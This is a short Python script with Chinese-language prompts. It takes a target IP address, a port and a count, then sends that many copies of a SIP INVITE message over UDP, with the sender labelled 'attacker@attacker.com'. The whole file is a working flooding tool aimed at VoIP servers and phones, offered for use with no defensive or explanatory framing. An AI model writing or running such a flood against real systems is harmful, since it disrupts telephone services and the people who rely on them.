import socket

target_ip = input("请输入目标IP地址: ")
target_port = int(input("请输入目标端口号: "))
num_requests = int(input("请输入要发送的请求数量: "))

sip_message = "INVITE sip:target@target.com SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.1\r\nFrom: attacker <sip:attacker@attacker.com>\r\nTo: target <sip:target@target.com>\r\nCSeq: 1 INVITE\r\nCall-ID: 1@192.168.1.1\r\nMax-Forwards: 70\r\nContent-Length: 0\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

for i in range(num_requests):
    sock.sendto(sip_message.encode(), (target_ip, target_port))
    print(f"请求已发送 {i+1} 次")

sock.close()